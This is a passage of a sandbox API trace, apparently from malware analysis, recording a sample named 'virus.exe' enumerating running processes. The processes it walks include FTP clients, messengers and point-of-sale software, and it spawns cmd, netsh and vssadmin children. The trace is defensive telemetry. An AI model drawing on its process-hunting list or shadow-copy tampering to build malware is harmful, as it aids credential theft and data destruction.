cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0075.181] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0075.182] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0075.182] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0075.183] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0075.184] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0075.184] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0075.185] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0075.186] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0075.186] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0075.187] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0075.187] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0075.188] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0075.189] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0075.189] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0075.190] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0075.191] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0075.191] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0075.192] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0075.192] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0075.193] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0075.427] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0075.427] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0075.428] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0075.429] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0075.429] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0075.430] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0075.430] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0075.431] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0075.432] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0075.432] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0075.434] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0075.435] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0075.436] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0075.437] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0075.438] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0075.439] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0075.440] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0075.441] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0075.442] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0075.442] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0075.443] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0075.444] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0075.445] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0075.446] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0075.447] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0075.448] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0075.448] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0075.449] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0075.450] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0075.451] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0075.452] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0075.453] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0075.454] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0075.455] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0075.455] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0075.456] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0075.457] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.458] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.459] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.460] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0075.460] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0075.461] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.462] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0075.463] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0075.463] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.464] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.607] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0075.608] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0075.608] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0075.609] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.610] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0075.610] Process32NextW (in: hSnapshot=0x164, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0075.611] CloseHandle (hObject=0x164) returned 1 [0075.611] Sleep (dwMilliseconds=0x1f4) [0076.201] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x104 [0076.206] Process32FirstW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.207] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0076.207] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0076.208] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.209] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0076.209] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.210] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0076.211] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0076.212] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0076.212] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0076.213] Process32NextW (in: hSnapshot=0x104, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, 